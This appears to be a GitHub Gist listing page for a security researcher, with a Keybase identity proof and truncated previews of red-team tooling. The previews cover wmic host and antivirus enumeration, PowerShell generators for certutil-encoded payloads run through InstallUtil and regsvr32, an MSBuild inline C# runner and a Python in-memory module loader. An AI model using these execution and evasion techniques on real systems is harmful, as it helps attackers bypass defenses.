I hereby claim:
- I am xorrior on github.
- I am xorrior (https://keybase.io/xorrior) on keybase.
- I have a public key whose fingerprint is A086 24A4 D702 0EAE FCEC 139D 56BA 7C93 A848 D2F7
To claim this, I am signing this object:
I hereby claim:
To claim this, I am signing this object:
Host Enumeration: | |
--- OS Specifics --- | |
wmic os LIST Full (* To obtain the OS Name, use the "caption" property) | |
wmic computersystem LIST full | |
--- Anti-Virus --- | |
wmic /namespace:\\root\securitycenter2 path antivirusproduct |
function New-InstallUtilBatchFile | |
{ | |
<##> | |
#You must provide an encoded payload using certutil -encode for the InFilePath. | |
#certutil -encode payload.exe payload.txt | |
#For compiling w/ a managed powershell runner | |
# C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:payload.exe payload.cs | |
[CmdletBinding()] | |
param | |
( |
function New-RegSvr32BatchFile | |
{ | |
<# | |
.SYNOPSIS | |
Generates a batch file which will contain a certutil encoded, cab compressed payload. | |
.DESCRIPTION | |
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want. | |
Create payload: |
function New-CplBatchFile | |
{ | |
<# | |
.SYNOPSIS | |
Generates a batch file which will contain a certutil encoded, cab compressed payload. | |
.DESCRIPTION | |
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want. | |
Create payload: |
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml --> | |
<!-- Author: Casey Smith, Twitter: @subTee --> | |
<!-- License: BSD 3-Clause --> | |
<PropertyGroup> | |
<FunctionName Condition="'$(FunctionName)' == ''">None</FunctionName> | |
<Cmd Condition="'$(Cmd)' == ''">None</Cmd> | |
</PropertyGroup> | |
<Target Name="Hello"> |
using System; | |
using System.IO; | |
using System.IO.Compression; | |
using System.Text; | |
using System.Collections.Generic; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
# Author: Matthew Graeber (@mattifestation) | |
# Load dnlib with Add-Type first | |
# dnlib can be obtained here: https://github.com/0xd4d/dnlib | |
# Example: ls C:\ -Recurse | Get-AssemblyLoadReference | |
filter Get-AssemblyLoadReference { | |
param ( | |
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] | |
[Alias('FullName')] | |
[String] | |
[ValidateNotNullOrEmpty()] |
import zipfile | |
import io | |
import sys | |
import os, imp | |
import base64 | |
import threading | |
moduleRepo = {} | |
_meta_cache = {} |
<?xml version="1.0" encoding="UTF-8"?> | |
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
<plist version="1.0"> | |
<array> | |
<dict> | |
<key>name</key> | |
<string>sample rule</string> | |
<key>enabled</key> | |
<true/> | |
<key>eventTypes</key> |